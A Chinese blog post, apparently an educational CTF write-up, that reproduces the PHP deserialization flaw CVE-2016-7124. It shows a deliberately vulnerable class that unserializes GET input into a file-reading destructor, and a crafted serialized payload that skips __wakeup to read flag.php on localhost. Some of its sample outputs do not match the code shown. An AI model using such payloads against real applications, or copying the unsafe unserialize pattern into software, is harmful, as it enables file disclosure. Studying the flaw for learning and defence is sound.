前言

最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了!

预备知识

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基础

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

<?php
class test{
public $name = 'xiaohua';
private $address = 'shanxi';
protected $age = '21';
} $test1 = new test();
$object = serialize($test1);
print_r($object);
?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发

CVE-2016-7124(绕过__wakeup)复现

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

<?php
//听说flag在flag.php里面??????
//来源:榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
class sercet{
private $file='index.php';
// __construc 每次创建新对象时调用,所以__construct非常适合做初始化
public function __construct($file){
echo "_construct执行<br>";
$this->file=$file;
}
//析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
function __destruct(){
echo " __destruct执行<br>";
// echo show_source($this->file,true);
echo @highlight_file($this->file, true);
} //unserialize()先检查__wakeup是否存在,则会先调用__wakeup
function __wakeup(){
echo "__wakeup执行<br>";
$this->file='index.php';
}
} unserialize($_GET['val']);

我们分析这道CTF题,题目告知我们说flag好像在flag.php中  又看到页面爆出这个源码 我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化

首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:

$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

在传递的时候切记根据private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

我们注意观察 __wakeup这个函数执行了它里面的这段$this->file='index.php';代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

我们只需要把对象原来属性值比原来的大就行我们把1改成2

修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";} 

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现的更多相关文章

  1. WebLogic反序列化漏洞(CVE-2019-2725补丁绕过)

    影响产品: Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 影响组件: wls9_async_response.wa ...

  2. 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞

    近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...

  3. php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...

  4. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  5. [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}

    先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...

  6. fastjson反序列化漏洞历史CVE学习整理

    fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...

  7. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  8. PHP反序列化漏洞研究

    序列化 序列化说通俗点就是把一个对象变成可以传输的字符串 php serialize()函数 用于序列化对象或数组,并返回一个字符串.序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结 ...

  9. 浅谈php反序列化漏洞

    关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...

随机推荐

  1. Pyrhon-OS库

    import os 导入OS模块 print(os.getcwd()) #获取当前路径 print(os.listdir()) #当前路径下文件信息 关于路径 Windows 下的路径采用 (\) 在 ...

  2. html中object标签

    首先将这个强大web页面打印例子(pintTest.html)贴上来. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional ...

  3. BOOST 条件变量使用

    代码: // boost库 条件变量 使用测试 #include <iostream> #include <boost/thread.hpp> using namespace ...

  4. 【Azure Redis 缓存 Azure Cache For Redis】当使用Jedis客户端连接Redis时候,遇见JedisConnectionException: Could not get a resource from the pool / Redis connection lost

    问题情形 当在执行Redis一直指令时,有可能会遇见如下几种错误: 1) redis.clients.jedis.exceptions.JedisConnectionException: Could ...

  5. Helium文档7-WebUI自动化-highlight高亮显示元素

    前言 highlight方法是通过红框高亮显示元素,在调试中有很大优势,可以清楚看到定位的元素位置 入参介绍 def highlight(element):   """ ...

  6. 【线上排查实战】AOP切面执行顺序你真的了解吗

    前言 忙,是我这个月的主旋律,也是我频繁鸽文章的接口----蛮三刀把刀 公司这两个月启动了全新的项目,项目排期满满当当,不过该学习还是要学习.这不,给公司搭项目的时候,踩到了一个Spring AOP的 ...

  7. 没花一分钱的我竟然收到的JetBrains IDEA官方免费赠送一年的Licence

    前言 做java的人,一般IDE工具用的不是eclipse就是IntelliJ IDEA了吧,eclipse因为是开源软件,而且起步比较早,功能也比较完善.早期基本上做java的使用eclipse都是 ...

  8. Redis---06主从复制(薪火相传)

    一.什么是薪火相传模式 上一个slave(从机)是下一个slave(从机)的Master(主机) 二.为什么要这样 优点:从机同样可以接收其他从机的连接和同步请求,那么该从机作为了链条中下一个的主机, ...

  9. kubectl命令小妙招

    kubectl命令使用大全   中文: http://docs.kubernetes.org.cn/683.html [root@master-test ~]# kubectl --help kube ...

  10. Java学习的第二天

    1.今天学习了变量与常量看了大道至简 字节型:byte 1字节 短整型:short 2字节  整型:int 4字节长整型:long 8字节单精度浮点型:float 4字节双精度浮点型:double 8 ...